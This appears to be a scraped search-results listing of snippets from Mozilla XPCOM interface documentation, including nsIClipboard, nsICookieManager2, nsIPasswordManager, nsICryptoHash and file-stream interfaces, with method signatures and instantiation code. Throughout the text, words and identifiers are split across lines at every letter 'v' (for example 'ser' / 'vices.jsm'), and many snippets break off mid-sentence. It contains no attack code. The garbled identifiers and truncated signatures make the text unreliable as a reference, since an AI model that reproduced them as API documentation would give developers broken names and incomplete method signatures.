view the image's position.
... method over
view [propget] hresult description([out] bstr description ); [propget] hresult imageposition([in] enum ia2coordinatetype coordinatetype, [out] long x, [out] long y ); [propget] hresult imagesize([out] long height, [out] long width ); methods description() returns the localized description of the image.
IJSDebugger
js/ductwork/debugger/ijsdebugger.idlscriptable pro
vides the javascript debugger ser
vice.
... 1.0 66 introduced gecko 9.0 inherits from: nsisupports last changed in gecko 9.0 (firefox 9.0 / thunderbird 9.0 / seamonkey 2.6) implemented by: @mozilla.org/jsdebugger;1 as a ser
vice: var jsdebugger = components.classes["@mozilla.org/jsdebugger;1"] .createinstance(components.interfaces.ijsdebugger); note: you should almost never directly use this ser
vice; instead, you should use the javascript code module that does this for you.
... method over
view [implicit_jscontext] void addclass(); methods addclass() defines the global debugger constructor.
imgIContainerObserver
image/public/imgicontainerobserver.idlscriptable an interface to implement to listen to acti
vities on an imgicontainer object.
... 1.0 66 introduced gecko 1.7 inherits from: nsisupports last changed in gecko 12.0 (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9) if you wish to listen for acti
vities on an imgicontainer, you should implement the framechanged() method.
... method over
view void framechanged(in imgirequest arequest, in imgicontainer acontainer, [const] in nsintrect adirtyrect); native code only!
mozIPlaceInfo
toolkit/components/places/public/moziasynchistory.idlscriptable this interface pro
vides additional info for a places entry 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) attributes attribute type description frecency long read only: the frecency of the place.
...
visits mozi
visitinfo[] read only: an array of mozi
visitinfo objects for the place.
... see also moziasynchistory mozi
visitinfo ...
mozIStorageValueArray
the mozistoragevaluearray interface obtains pro
vides methods to obtain data from a given result.
... for an introduction on how to use this interface, see the storage over
view document.
... last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method over
view long gettypeofindex(in unsigned long aindex); long getint32(in unsigned long aindex); long long getint64(in unsigned long aindex); double getdouble(in unsigned long aindex); autf8string getutf8string(in unsigned long aindex); astring getstring(in unsigned long aindex); void getblob(in unsigned long aindex, out unsigned long adatasize, [array,size_is(adatasize)] out octet adata); boolean getisnull(in unsigned long aindex); attributes attribute type description numentries ...
nsIAboutModule
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view unsigned long geturiflags(in nsiuri auri); nsichannel newchannel(in nsiuri auri); constants constant value description uri_safe_for_untrusted_content (1 << 0) a flag that indicates whether a uri is safe for untrusted content.
...the section "firefox 4 (second approach)" pro
vides copy paste code for working example.
... click here to
view article.
nsIAccessNode
method over
view nsiaccessnode getchildnodeat(in long childnum); obsolete since gecko 2.0 nsidomcssprimitivevalue getcomputedstylecssvalue(in domstring pseudoelt, in domstring propertyname); domstring getcomputedstylevalue(in domstring pseudoelt, in domstring propertyname); void scrollto(in unsigned long ascrolltype); void scrolltopoint(in unsigned long acoordinat...
...obsolete since gecko 2.0 pre
vioussiblingnode nsiaccessnode the pre
vious nsiaccessnode sibling.
... scrollto() makes an object
visible on screen.
nsIAnnotationObserver
toolkit/components/places/public/nsiannotationser
vice.idlscriptable please add a summary to this article.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void onitemannotationremoved(in long long aitemid, in autf8string aname); void onitemannotationset(in long long aitemid, in autf8string aname); void onpageannotationremoved(in nsiuri auri, in autf8string aname); void onpageannotationset(in nsiuri apage, in autf8string aname); methods onitemannotationremoved() this method is called when an annotation is deleted for an item.
... see also places using the places annotation ser
vice using the places fa
vicon ser
vice nsiannotationser
vice ...
nsIApplicationCacheChannel
1.0 66 introduced gecko 1.9.1 inherits from: nsiapplicationcachecontainer last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void markofflinecacheentryasforeign(); attributes attribute type description chooseapplicationcache boolean when true, the channel will choose an application cache if one was not explicitly pro
vided and none is available from the notification callbacks.
... inheritapplicationcache boolean true if the channel will ask its notification callbacks for an application cache if one is not explicitly pro
vided.
...see also offline resources in firefox nsiapplicationcache nsiapplicationcachecontainer nsiapplicationcacheser
vice nsiapplicationcachenamespace nsidomofflineresourcelist ...
nsIApplicationCacheNamespace
method over
view void init(in unsigned long itemtype, in acstring namespacespec, in acstring data); attributes attribute type description data acstring data associated with the namespace, such as a fallback.
...this can be combined with namespace_fallback to pro
vide a fallback entry in the data attribute.
... see also offline resources in firefox nsiapplicationcache nsiapplicationcachecontainer nsiapplicationcachechannel nsiapplicationcacheser
vice nsidomofflineresourcelist ...
nsIAsyncInputStream
if the stream implements nsiasyncinputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes readable or closed (
via the asyncwait() method).
...method over
view void asyncwait(in nsiinputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult astatus); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default beha
vior, causing the oninputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in the u...
...aflags this parameter specifies optional flags passed in to configure the beha
vior of this method.
nsIAsyncOutputStream
if the stream implements nsiasyncoutputstream, then the caller can use this interface to request an asynchronous notification when the stream becomes writable or closed (
via the asyncwait() method).
...method over
view void asyncwait(in nsioutputstreamcallback acallback, in unsigned long aflags, in unsigned long arequestedcount, in nsieventtarget aeventtarget); void closewithstatus(in nsresult reason); constants constant value description wait_closure_only (1<<0) if passed to asyncwait(), this flag overrides the default beha
vior, causing the onoutputstreamready notification to be suppressed until the stream becomes closed (either as a result of closewithstatus()/close being called on the stream or possibly due to some error in t...
...aflags this parameter specifies optional flags passed in to configure the beha
vior of this method.
nsIAutoCompleteInput
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view acstring getsearchat(in unsigned long index); void onsearchbegin(); void onsearchcomplete(); boolean ontextentered(); boolean ontextreverted(); void selecttextrange(in long startindex, in long endindex); attributes attribute type description completedefaultindex boolean if a search result has its defaultindex set, this will optionally try to complete the text ...
... popup nsiautocompletepopup the
view in which results will be displayed.read only.
... popupopen boolean indicates whether or not the popup
view is already open.
nsIClipboard
widget/nsiclipboard.idlscriptable this interface supports basic clipboard operations such as: setting, retrie
ving, emptying, matching and supporting clipboard data.
... inherits from: nsisupports last changed in gecko 30.0 (firefox 30.0 / thunderbird 30.0 / seamonkey 2.27) method over
view void emptyclipboard(in long awhichclipboard); void forcedatatoclipboard(in long awhichclipboard); obsolete since gecko 1.8 void getdata(in nsitransferable atransferable, in long awhichclipboard); boolean hasdatamatchingflavors([array, size_is(alength)] in string aflavorlist, in unsigned long alength, in long awhichclipboard); void setdata(in nsitransferable atransferable, in nsiclipboardowner anowner, in long awhichclipboard); boolean supportsselectionclipboard(); boolean supportsfindclipboard(); constants most clipboard operations in firefox use kglobalclipboard, which is the one also used by th...
... hasdatamatchingflavors() this method pro
vides a way to give correct ui feedback about, for instance, whether a paste should be allowed.
nsICollection
it pro
vides basic operations on those items like: getting, setting, appending, remo
ving, and so on.
... inherits from: nsiserializable last changed in gecko 1.7 method over
view void appendelement(in nsisupports item); void clear(); pruint32 count(); nsienumerator enumerate(); nsisupports getelementat(in pruint32 index); void queryelementat(in pruint32 index, in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); void removeelement(in nsisupports item); void setelementat(in pruint32 index, in nsisupports item); methods appendelement() appends a new item to the collection.
... result comparison result of the pre
vious two parameters.
nsIConsoleMessage
xpcom/base/nsiconsolemessage.idlscriptable this interface is a base interface for messages passed to or from the nsiconsoleser
vice.
... inherits from: nsisupports last changed in gecko 1.7 implementations may pro
vide an object that can be query interfaced, nsisupports.queryinterface(), to pro
vide more specific message information.
... see also nsiconsoleser
vice ...
nsIContentPrefObserver
dom/interfaces/base/nsicontentprefser
vice.idlscriptable this interface allows code to easily watch for changes to the values of content preferences.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view void oncontentprefremoved(in astring agroup, in astring aname); void oncontentprefset(in astring agroup, in astring aname, in nsivariant avalue); methods oncontentprefremoved() called when a content preference is removed.
... see also nsicontentprefser
vice using content preferences ...
nsICookieManager2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager this interface is included in the ser
vices.jsm javascript code module.
... to create an object implementing this interface: components.utils.import("resource://gre/modules/ser
vices.jsm"); var cookieser
vice = ser
vices.cookies; method over
view void add(in autf8string ahost, in autf8string apath, in acstring aname, in acstring avalue, in boolean aissecure, in boolean aishttponly, in boolean aissession, in print64 aexpiry); boolean cookieexists(in nsicookie2 acookie); unsigned long countcookiesfromhost(in autf8string ahost); boolean findmatchingcookie(in nsicookie2 acookie, out unsigned long acountfromhost); obsolete since gecko 1.9 nsisimpleenumerator getcookiesfromhost(in autf8string ahost); void importcookies(in nsifile acookiefile); methods add() adds a cookie.
... nsicookieser
vice is the normal way to do this.
nsICrashReporter
xpcom/system/nsicrashreporter.idlscriptable pro
vides access to crash reporting functionality.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void annotatecrashreport(in acstring key, in acstring data); void appendappnotestocrashreport(in acstring data); void appendobjcexceptioninfotoappnotes(in voidptr aexception); native code only!
...void writeminidumpforexception( in voidptr aexceptioninfo ); parameters aexceptioninfo exception_info* pro
vided by window's seh.
nsICryptoHMAC
netwerk/base/public/nsicryptohmac.idlscriptable this interface pro
vides hmac signature algorithms.
... 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method over
view acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms.
...to create the key object use for instance: var keyobject = components.classes["@mozilla.org/security/keyobjectfactory;1"] .getser
vice(components.interfaces.nsikeyobjectfactory) .keyfromstring(components.interfaces.nsikeyobject.hmac, rawkeydata); exceptions thrown ns_error_invalid_arg if an unsupported algorithm type is passed.
nsICryptoHash
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method over
view acstring finish(in prbool aascii); void init(in unsigned long aalgorithm); void initwithstring(in acstring aalgorithm); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hash algorithms these constants are used by the init() me...
...the result is computed as a hex string as in the pre
vious example.
...as in the pre
vious example, we convert the binary result to a hex string.
nsIDBChangeListener
there are a couple of ways to access the message database: if you have a nsimsgfolder, you can do this like so: somefolder.msgdatabase.addlistener(mylistener); alternately, you can access the message database through the nsimsgdb
view like so: gfolderdisplay.
view.db
view.db.addlistener(mylistener); method over
view void onhdrflagschanged(in nsimsgdbhdr ahdrchanged, in unsigned long aoldflags, in unsigned long anewflags, in nsidbchangelistener ainstigator); void onhdrdeleted(in nsimsgdbhdr ahdrchanged, in nsmsgkey aparentkey, in long aflags, in nsidbchangelistener ainstigator); void onhdradded(in...
...on this second call, the stored value of astatus is pro
vided, so that any changes may be noted.
... astatus the storage location pro
vided by calling routine for status.
nsIDOMChromeWindow
inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void beginwindowmove(in nsidomevent mousedownevent); void getattention(); void getattentionwithcyclecount(in long acyclecount); void maximize(); void minimize(); void notifydefaultbuttonloaded(in nsidomelement defaultbutton); void restore(); void setcursor(in domstring cursor); attributes attribute type description browserdomwindow nsibrowserdomwindow the related nsibrowserdomwindow instance which pro
vides access to yet another layer of utility functions by chrome script.
...this beha
vior is same as getattention method.
...at that time, the cursor has been never changed by cursor mo
ving.
nsIDOMMouseScrollEvent
method over
view void initmousescrollevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstract
view
viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtarg...
...void initmousescrollevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstract
view
viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in long axis ); parameters typearg the type of event.
...
viewarg the nsidomabstract
view in which the event occurred.
nsIDOMMozTouchEvent
this pro
vides a mechanism for working with events from touch screens.
... last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) inherits from: nsidommouseevent method over
view void initmoztouchevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstract
view
viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in l...
...void initsimplegestureevent( in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in nsidomabstract
view
viewarg, in long detailarg, in long screenxarg, in long screenyarg, in long clientxarg, in long clientyarg, in boolean ctrlkeyarg, in boolean altkeyarg, in boolean shiftkeyarg, in boolean metakeyarg, in unsigned short buttonarg, in nsidomeventtarget relatedtargetarg, in unsigned long streamidarg ); parameters streamidarg the value to assign to the streamid attribute; t...
nsIDOMOrientationEvent
the nsidomorientationevent interface describes the event that can be delivered to dom windows, pro
viding information from the de
vice's accelerometer, allowing code to determine the orientation of the de
vice.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsidomevent method over
view void initorientationevent(in domstring eventtypearg, in boolean canbubblearg, in boolean cancelablearg, in double x, in double y, in double z); attributes attribute type description x double the amount of tilt along the x axis.
... the values of x, y, and z can range from -1 to 1, where 0 means the de
vice is balanced on that axis.
nsIDOMXULElement
66 introduced gecko 1.0 inherits from: nsidomelement last changed in gecko 1.9 (firefox 3) method over
view void blur(); void click(); void docommand(); void focus(); nsidomnodelist getelementsbyattribute(in domstring name, in domstring value); nsidomnodelist getelementsbyattributens(in domstring namespaceuri, in domstring name, in domstring value); attributes attribute type description align domstring gets/sets the value of the element's align attribute.
...returns an nsicontrollers object that additional controllers may be appended to so as to pro
vide focus-specific actions for commands.
...obsolete since gecko 1.9 returns an object that may be used to read or write indi
vidual css style properties for the element.
nsIDragSession
widget/public/nsidragsession.idlscriptable pro
vides support for interacting with an ongoing drag session during a drag and drop operation.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view void getdata( in nsitransferable atransferable, in unsigned long aitemindex ); boolean isdataflavorsupported( in string adataflavor ); attributes attribute type description candrop boolean set the current state of the drag, whether it can be dropped or not.
...(see nsidragser
vice) numdropitems unsigned long get the number of items that were dropped.
nsIFactory
inherits from: nsisupports last changed in gecko 0.9.5 method over
view void createinstance(in nsisupports aouter, in nsiidref iid, [retval, iid_is(iid)] out nsqiresult result); void lockfactory(in prbool lock); methods createinstance() creates an instance of the class associated with this factory.
... unlike getser
vice, this returns a new instance each time it is called.
... lockfactory() this method pro
vides the client a way to keep the component in memory until it is finished with it.
nsIFeed
it includes attributes that pro
vide information about the feed, as well as access to the items or entries in the feed.
... image nsiwritablepropertybag2 pro
vides an image url and metadata, as defined by rss 2.
... type_
video 4 a
video feed, such as a
videocast.
nsIFileInputStream
inherits from: nsiinputstream last changed in gecko 1.7 method over
view void init(in nsifile file, in long ioflags, in long perm, in long beha
viorflags); constants constant value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
... methods init() void init( in nsifile file, in long ioflags, in long perm, in long beha
viorflags ); parameters file file to read from (must qi to nsilocalfile) ioflags the file status flags define how the file is accessed.
... beha
viorflags flags specifying various beha
viors of the class (see enumerations in the class).
nsIFileOutputStream
inherits from: nsioutputstream last changed in gecko 1.7 method over
view void init(in nsifile file, in long ioflags, in long perm, in long beha
viorflags); constants beha
vior flag constants constant value description defer_open 1<<0 see the same constant in nsifileinputstream.
... methods init() void init( in nsifile file, in long ioflags, in long perm, in long beha
viorflags ); parameters file file to write to (must qi to nsilocalfile) ioflags file open flags listed are listed in the pr_open() documentation.
... beha
viorflags flags specifying various beha
viors of the class; see beha
vior flag constants above.
nsIFilePicker
to create an instance, use: var filepicker = components.classes["@mozilla.org/filepicker;1"] .createinstance(components.interfaces.nsifilepicker); method over
view void appendfilter(in astring title, in astring filter); void appendfilters(in long filtermask); void init(in nsidomwindow parent, in astring title, in short mode); void open(in nsifilepickershowncallback afilepickershowncallback); short show(); obsolete since gecko 57.0 attributes attribute type description addtorece...
... return value constants these values are returned by show() or passed as an argument to open()'s callback, indicating the result of the file picker acti
vity.
... filter
video 0x200 corresponds to the *.a
vi, *.divx, *.flv, *.m4v, *.mkv, *.mov, *.mp4, *.mpeg, *.mpg, *.ogm, *.ogv, *.ogx, *.rm, *.rmvb, *.smil, *.webm, *.wmv and *.x
vid filters for file extensions.
nsIFileProtocolHandler
netwerk/protocol/file/nsifileprotocolhandler.idlscriptable this interface pro
vides methods to convert between nsifile and nsiuri.
... it also pro
vides access to internet shortcuts stored on the host operating system's file system.
... inherits from: nsiprotocolhandler last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method over
view nsifile getfilefromurlspec(in autf8string url); autf8string geturlspecfromactualfile(in nsifile file); autf8string geturlspecfromdir(in nsifile file); autf8string geturlspecfromfile(in nsifile file); nsiuri newfileuri(in nsifile afile); nsiuri readurlfile(in nsifile file); methods getfilefromurlspec() converts the url string into the corresponding nsifile if possible.
nsIFileStreams
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method over
view void init(in nsifile file, in long ioflags, in long perm, in long beha
viorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
...(the file will only be reopened if it is closed for some reason.) methods init() void init( in nsifile file, in long ioflags, in long perm, in long beha
viorflags ); parameters file file to read from (must qi to nsilocalfile).
... beha
viorflags flags specifying various beha
viors of the class (see enumerations in the class).
nsIFormHistory2
toolkit/components/satchel/public/nsiformhistory.idlscriptable a ser
vice which holds a set of name/value pairs.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) note: this interface pro
vides no means to access stored values.
...method over
view void addentry(in astring name, in astring value); boolean entryexists(in astring name, in astring value); boolean nameexists(in astring name); void removeallentries(); void removeentriesbytimeframe(in long long abegintime, in long long aendtime); void removeentriesforname(in astring name); void removeentry(in astring name, in astring value); attributes attribute type description dbconnection mozistorageconnection returns the underlying db connection the form history module is using.
nsIGlobalHistory
66 introduced gecko 1.0 deprecated gecko 2.0 obsolete gecko 15.0 inherits from: nsisupports last changed in gecko 1.7 method over
view void addpage(in string aurl); boolean is
visited(in string aurl); methods addpage() add a page to the history.
... is
visited() checks to see if the given page is in history.
... boolean is
visited( in string aurl ); parameters aurl the url to the page.
nsIINIParser
nsiutf8stringenumerator getkeys(in autf8string asection); nsiutf8stringenumerator getsections(); autf8string getstring(in autf8string asection, in autf8string akey); methods getkeys() returns an nsiutf8stringenumerator pro
viding the keys available within the specified section of the ini file.
...getsections() returns an nsiutf8stringenumerator pro
viding a list of the sections available within the ini file.
...examples getting a value for a key this example pro
vides a function you can call to obtain the value for a specific key in a given ini file.
nsIINIParserWriter
1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 13.0 (firefox 13.0 / thunderbird 13.0 / seamonkey 2.10) this interface pro
vides methods that allow writing to ini-format configuration files.
... .getser
vice(components.interfaces.nsiiniparserfactory) .createiniparser(somelocalfile) .queryinterface(components.interfaces.nsiiniparserwriter); here, somelocalfile is an nsifile based object, such as an nsilocalfile.
... method over
view void setstring(in autf8string asection, in autf8string akey, in autf8string avalue); void writefile([optional] in nsifile ainifile, [optional] in unsigned long aflags); constants file writing constants these constants are specified when calling writefile(), in order to change its beha
vior.
nsIInstallLocation
you can get the install location of a particular add-on using nsiextensionmanager interface: var il = components.classes["@mozilla.org/extensions/manager;1"] .getser
vice(components.interfaces.nsiextensionmanager) .getinstalllocation("add-on id") method over
view astring getidforlocation(in nsifile file); nsifile getitemfile(in astring id, in astring path); nsifile getitemlocation(in astring id); nsifile getstagefile(in astring id); boolean itemismanagedindependently(in astring id); void removefile(in nsifile file); nsifile st...
...agefile(in nsifile file, in astring id); attributes attribute type description canaccess boolean whether or not the user can write to the install location with the current access pri
vileges.
... restricted boolean whether or not this install location is on an area of the file system that could be restricted on a restricted-access account, regardless of whether or not the location is restricted with the current user pri
vileges.
nsIInterfaceRequestor
xpcom/base/nsiinterfacerequestor.idlscriptable this interface defines a generic interface for requesting interfaces that a given object might pro
vide access to.
...the main difference is that interfaces returned are not required to pro
vide a way back to the object implementing nsiinterfacerequestor.
...method over
view void getinterface(in nsiidref uuid, [iid_is(uuid),retval] out nsqiresult result); methods getinterface() retrieves the specified interface pointer.
nsIJSID
js/src/xpconnect/idl/xpcjsid.idlscriptable this interface pro
vides information about a contract or interface.
...method over
view boolean equals(in nsijsid other); const nsid* getid();
violates the xpcom interface guidelines void initialize(in string idstring); string tostring(); attributes attribute type description id nsidptr read only.
...
violates the xpcom interface guidelines getid() const nsid* getid(); parameters none.
nsILocalFile
xpcom/io/nsilocalfile.idlscriptable this interface adds methods to nsifile that are particular to a file that is accessible
via the local file system.
...to create an instance, use: var localfile = components.classes["@mozilla.org/file/local;1"] .createinstance(components.interfaces.nsilocalfile); method over
view void appendrelativenativepath(in acstring relativefilepath); native code only!
...delete_on_close may be implemented by remo
ving the file (by path name) immediately after opening it, so beware of possible races; the file should be exclusively owned by this process.
nsILocalFileMac
inherits from: nsilocalfile last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view cfurlref getcfurl(); native code only!
...init this object to point to an application ha
ving the given creator code.
...init this object with an fsspec legacy method - lea
ving in place for now.
nsIMemoryMultiReporterCallback
1.0 66 introduced gecko 7.0 inherits from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) method over
view void callback(in acstring process, in autf8string path, in print32 kind, in print32 units, in print64 amount, in autf8string description, in nsisupports closure); methods callback() called to pro
vide information from a multi-reporter.
... closure an nsisupports object pro
viding any additional data the callback might need; you pro
vide this when you call nsimemorymultireporter.collectreports().
... it will be null if no additional data was pro
vided.
nsIMessageListenerManager
to access this ser
vice, use: var globalmm = components.classes["@mozilla.org/globalmessagemanager;1"] .getser
vice(components.interfaces.nsimessagelistenermanager); method over
view void addmessagelistener(in astring messagename, in nsimessagelistener listener, [optional] in boolean listenwhenclosed) void removemessagelistener(i...
... void removemessagelistener(in astring messagename, in nsimessagelistener listener); removemessagelistener() does not remove a message listener added
via addweakmessagelistener(); use removeweakmessagelistener() for that.
... void removeweakmessagelistener(in astring messagename, in nsimessagelistener listener); removeweakmessagelistener() does not remove a message listener added
via addmessagelistener(); use removemessagelistener() for that.
nsIMicrosummarySet
toolkit/components/places/public/nsimicrosummaryser
vice.idlscriptable this interface pro
vides access to sets of microsummaries returned from the nsimicrosummaryser
vice.
... 1.0 66 introduced gecko 1.8 obsolete gecko 6.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) warning: microsummary support was removed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) method over
view void addobserver(in nsimicrosummaryobserver observer); nsisimpleenumerator enumerate(); void removeobserver(in nsimicrosummaryobserver observer); methods addobserver() add a microsummary observer to this microsummary set.
... see also nsimicrosummaryser
vice microsummary topics creating a microsummary ...
nsIMimeConverter
the nsimimeconverter ser
vice allows you to convert headers into and out of mime format.
... method over
view string encodemimepartiistr(in string header, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string encodemimepartiistr_utf8(in autf8string header, in boolean structured, in string mailcharset, in long fieldnamelen, in long encodedwordsize); string decodemimeheadertocharptr(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); astring decodemimeheader(in string header, in string default_charset, in boolean override_charset, in boolean eatcontinuations); mimeencoderdata *b64encoderinit(in mimeconverteroutputcallback output_fn, in void *closure); ...
...thunderbird pro
vides a utility function which performs this for the currently selected message: markcurrentmessageasread().
nsIMsgHeaderParser
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) to create an instance, use: var msgheaderparser = components.classes["@mozilla.org/messenger/headerparser;1"] .createinstance(components.interfaces.nsimsgheaderparser); method over
view string extractheaderaddressmailboxes(in string line); void extractheaderaddressname(in string line, out string name); void extractheaderaddressnames(in string line, out string usernames); astring makefulladdress(in astring aname, in astring aaddress); string makefulladdressstring(in string aname, in string aaddress); wstring makefulladdres...
... the returned value is the number of addresses, or a negative error code; the names and addresses are returned into the pro
vided pointers as consecutive null-terminated strings.
... either of the pro
vided pointers may be null if the caller is not interested in those components.
nsIMsgIncomingServer
inherits from: nsisupports last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) method over
view void clearallvalues(); void cleartemporaryreturnreceiptsfilter(); void closecachedconnections(); void configuretemporaryfilters(in nsimsgfilterlist filterlist); void configuretemporaryreturnreceiptsfilter(in nsimsgfilterlist filterlist); obsolete since gecko 1.8 void displayofflinemsg(in nsimsgwindow awindow); boolean equals(in nsimsgincomingserver server); void forgetpassword(); void forgetsessionpassword(); astring generateprettynameformigration(); boolean getboolattribute(in string name); boolean getboolvalue(in s...
...by default this value is set to true
via global pref 'allows_specialfolders_usage' (mailnews.js).
... loginatstartup boolean logonfallback boolean maxmessagesize long offlinesupportlevel long password acstring passwordpromptrequired boolean if the password for the server is available either
via authentication in the current session or from password manager stored entries, return false.
nsIMsgWindow
method over
view void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane.
...this is equivalent to calling loaduri on the nsiwebna
vigation object with a data: url specifying the html.
... stopurls() this is equivalent to calling stop(nsiwebna
vigation::stop_network) on the nsiwebna
vigation object.
nsIPasswordManager
to create an instance, use: var passwordmanager = components.classes["@mozilla.org/passwordmanager;1"] .getser
vice(components.interfaces.nsipasswordmanager); method over
view void adduser(in autf8string ahost, in astring auser, in astring apassword); void removeuser(in autf8string ahost, in astring auser); void addreject(in autf8string ahost); void removereject(in autf8string ahost); attributes attribute type ...
... addreject() blocks a hostname from ha
ving its passwords saved.
... removereject() unblocks a hostname from ha
ving its passwords saved.
nsIPrefBranch2
method over
view void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void removeobserver(in string adomain, in nsiobserver aobserver); methods addobserver() add a preference change observer.
... aobserver an observer pre
viously registered with addobserver.
...this ensures that long lived objects (ser
vices for example) will be freed correctly.
nsIProperties
xpcom/ds/nsiproperties.idlscriptable this interface pro
vides methods to access a map of named xpcom object values.
... inherits from: nsisupports last changed in gecko 1.2 implemented by: @mozilla.org/file/directory_ser
vice;1.
... to get an instance, use: var properties = components.classes["@mozilla.org/file/directory_ser
vice;1"] .getser
vice(components.interfaces.nsiproperties); method over
view void get(in string prop, in nsiidref iid, [iid_is(iid),retval] out nsqiresult result); void getkeys(out pruint32 count, [array, size_is(count), retval] out string keys); boolean has(in string prop); void set(in string prop, in nsisupports value); void undefine(in string prop); methods get() gets the xpcom object associated with a particular name.
nsIProxyInfo
if a nsiproxyinfo is reported as failed
via nsiprotocolproxyser
vice.getfailoverforproxy(), then the failed proxy will not be used again for this many seconds.
... some special values for this attribute include (but are not limited to) the following: "http" - http proxy (or ssl connect for https) "socks" - socks v5 proxy "socks4" - socks v4 proxy "direct" - no proxy "unknown" - unknown proxy (see nsiprotocolproxyser
vice.resolve()) a future version of this interface may define additional types.
... see also nsiprotocolproxyser
vice nsiprotocolproxyfilter ...
nsIScriptError2
js/src/xpconnect/idl/nsiscripterror.idlscriptable represents javascript errors and warnings for use by the console ser
vice; augments nsiscripterror by adding a way to initialize the error with the window id of the outer window with which the error is associated.
... method over
view void initwithwindowid(in wstring message, in wstring sourcename, in wstring sourceline, in pruint32 linenumber, in pruint32 columnnumber, in pruint32 flags, in string category, in unsigned long long innerwindowid); attributes attribute type description innerwindowid unsigned long long the inner window id with which the error is associated.
...you are responsible for pro
viding that line.
nsIScriptableInputStream
xpcom/io/nsiscriptableinputstream.idlscriptable this interface pro
vides scriptable access to a nsiinputstream instance.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method over
view unsigned long available(); void close(); void init(in nsiinputstream ainputstream); string read(in unsigned long acount); acstring readbytes(in unsigned long acount); methods available() return the number of bytes currently available in the stream.
... remarks this interface pro
vides javascript with a way to read ascii text from a nsiinputstream.
nsIScriptableUnescapeHTML
parser/html/nsiscriptableunescapehtml.idlscriptable this interface is a utility interface that exposes the kind of markup parser beha
vior that the feed ser
vice needs.
... 1.0 66 introduced gecko 1.8 obsolete gecko 14.0 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) note: as of firefox 14, this interface is obsolete (but still available for compatibility with legacy extensions) and all its functionality is available with more configuration options
via the nsiparserutils interface.
... implemented by: @mozilla.org/feed-unescapehtml;1 as a ser
vice: var scriptableunescapehtml = components.classes["@mozilla.org/feed-unescapehtml;1"] .getser
vice(components.interfaces.nsiscriptableunescapehtml); method over
